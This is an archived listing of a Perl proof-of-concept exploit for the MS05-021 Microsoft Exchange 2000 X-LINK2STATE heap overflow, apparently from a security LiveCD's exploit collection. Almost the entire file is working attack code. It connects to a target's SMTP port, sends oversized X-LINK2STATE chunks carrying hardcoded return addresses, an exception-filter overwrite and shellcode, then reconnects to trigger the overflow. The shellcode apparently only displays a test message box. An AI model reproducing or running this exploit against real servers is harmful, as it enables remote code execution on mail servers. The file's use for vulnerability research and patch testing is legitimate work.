home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / exchange / MS05-021-PoC.pl < prev    next >
Perl Script  |  2005-05-06  |  2KB  |  77 lines

  1. #!/bin/perl
  2. ##
  3. ##
  4. ## MS05-021 Exchange X-LINK2STATE Heap Overflow
  5. ## Author: Evgeny Pinchuk
  6. ## For educational purposes only.
  7. ## 
  8. ## Tested on:
  9. ## Windows 2000 Server SP4 EN
  10. ## Microsoft Exchange 2000 SP3
  11. ## 
  12. ## Thanks and greets: 
  13. ## Halvar Flake (thx for the right directions)
  14. ## Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins
  15. ## 
  16. ##
  17. #
  18. use IO::Socket::INET;
  19.  
  20. my $host = shift(@ARGV);
  21. my $port = 25;
  22. my $reply;
  23. my $request;
  24. my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll) 
  25. my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter
  26. my $JMP="\xEB\x10";
  27.  
  28.  
  29. my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" .
  30. "\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" .
  31. "\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0D\x31\xd2\x52\x51" .
  32. "\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" .
  33. "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" .
  34. "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" .
  35. "\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e";
  36.  
  37. my $cmd="X-LINK2STATE CHUNK=";
  38.  
  39. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
  40. $socket or die "Cannot connect to host!\n";
  41.  
  42. recv($socket, $reply, 1024, 0);
  43. print "Response:" . $reply;
  44. $request = "EHLO\r\n";
  45. send $socket, $request, 0;
  46. print "[+] Sent EHLO\n";
  47. recv($socket, $reply, 1024, 0);
  48. print "Response:" . $reply;
  49. $request = $cmd . "A"x1000 . "\r\n";
  50. send $socket, $request, 0;
  51. print "[+] Sent 1st chunk\n";
  52. recv($socket, $reply, 1024, 0);
  53. print "Response:" . $reply;
  54. $request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC;
  55. my $left=1000-length($request);
  56. $request = $request . "C"x$left;
  57. $request = $cmd . $request . "\r\n";
  58. send $socket, $request, 0;
  59. print "[+] Sent 2nd chunk\n";
  60. recv($socket, $reply, 1024, 0);
  61. print "Response:" . $reply;
  62. close $socket;
  63. $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
  64. $socket or die "Cannot connect to host!\n";
  65. recv($socket, $reply, 1024, 0);
  66. print "Response:" . $reply;
  67. $request = "EHLO\r\n";
  68. send $socket, $request, 0;
  69. print "[+] Sent EHLO\n";
  70. recv($socket, $reply, 1024, 0);
  71. print "Response:" . $reply;
  72. $request = $cmd . "A"x1000 . "\r\n";
  73. send $socket, $request, 0;
  74. print "[+] Sent 3rd chunk\n";
  75.  
  76. close $socket;
  77.